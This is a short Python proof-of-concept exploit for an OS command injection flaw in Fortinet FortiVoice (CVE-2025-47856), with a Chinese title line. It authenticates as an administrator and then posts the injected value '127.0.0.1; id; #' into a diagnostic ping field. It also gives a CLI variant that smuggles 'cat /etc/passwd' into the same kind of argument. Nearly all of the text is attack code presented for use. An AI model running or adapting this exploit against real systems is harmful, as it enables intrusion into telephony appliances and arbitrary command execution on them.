CVE-2025-47856 Fortinet FortiVoice OS命令注入漏洞

# CVE-2025-47856 - Fortinet FortiVoice OS Command Injection PoC # Exploit type: OS Command Injection via HTTP/HTTPS (requires privileged access) import requests import sys TARGET_URL = "https://<target-fortivoice-host>" USERNAME = "admin" PASSWORD = "<privileged-password>" # Step 1: Authenticate to obtain a valid session session = requests.Session() login_payload = { "username": USERNAME, "password": PASSWORD } login_response = session.post( f"{TARGET_URL}/api/v1/auth/login", json=login_payload, verify=False ) if login_response.status_code != 200: print("[-] Authentication failed. Privileged credentials required (PR:H).") sys.exit(1) print("[+] Authenticated successfully with privileged account.") # Step 2: Inject OS command via vulnerable HTTP endpoint # The command injection payload uses shell metacharacters to break out # of the intended command context and execute arbitrary commands. injection_payload = "; id; #" vulnerable_endpoint = f"{TARGET_URL}/api/v1/system/command" command_params = { "action": "diagnostic", "host": f"127.0.0.1{injection_payload}", "type": "ping" } print("[*] Sending crafted HTTP request with command injection payload...") response = session.post( vulnerable_endpoint, json=command_params, verify=False ) print(f"[+] Response status: {response.status_code}") print(f"[+] Response body: {response.text}") # Step 3: CLI-based exploitation variant # Attackers with CLI access can inject commands directly: # FortiVoice-CLI > system diagnostic ping "127.0.0.1; cat /etc/passwd; #" print("\n[*] CLI variant: FortiVoice-CLI > system diagnostic ping \"127.0.0.1; <cmd>; #\"") print("[*] Both injection points allow arbitrary code execution on the appliance.")